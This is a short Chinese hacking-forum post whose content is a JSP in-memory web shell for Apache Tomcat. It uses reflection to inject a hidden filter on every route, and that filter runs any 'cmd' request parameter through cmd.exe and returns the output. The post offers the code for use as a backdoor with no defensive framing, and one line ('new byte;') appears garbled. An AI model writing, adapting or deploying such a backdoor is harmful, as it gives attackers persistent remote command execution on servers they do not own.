servlet 内存马-女黑客 - Powered by Discuz! Archiver

nvhack 发表于 2023-8-10 14:57:58

servlet 内存马

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "bihuo_new";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
      Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                //这里写上我们后门的主要代码
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                  byte[] bytes = new byte;
                  Process process = new ProcessBuilder("cmd.exe","/c",req.getParameter("cmd")).start();
                  int len = process.getInputStream().read(bytes);
                  servletResponse.getWriter().write(new String(bytes,0,len));
                  process.destroy();
                  return;
                }
                //别忘记带这个,不然的话其他的过滤器可能无法使用
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

      };


      FilterDef filterDef = new FilterDef();
      filterDef.setFilter(filter);
      filterDef.setFilterName(name);
      filterDef.setFilterClass(filter.getClass().getName());

      // 将filterDef添加到filterDefs中
      standardContext.addFilterDef(filterDef);

      FilterMap filterMap = new FilterMap();
      //拦截的路由规则,/* 表示拦截任意路由
      filterMap.addURLPattern("/*");
      filterMap.setFilterName(name);
      filterMap.setDispatcher(DispatcherType.REQUEST.name());

      standardContext.addFilterMapBefore(filterMap);

      Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
      constructor.setAccessible(true);
      ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

      filterConfigs.put(name,filterConfig);
      out.print("注入成功");
    }
%>

页: [1]
查看完整版本: servlet 内存马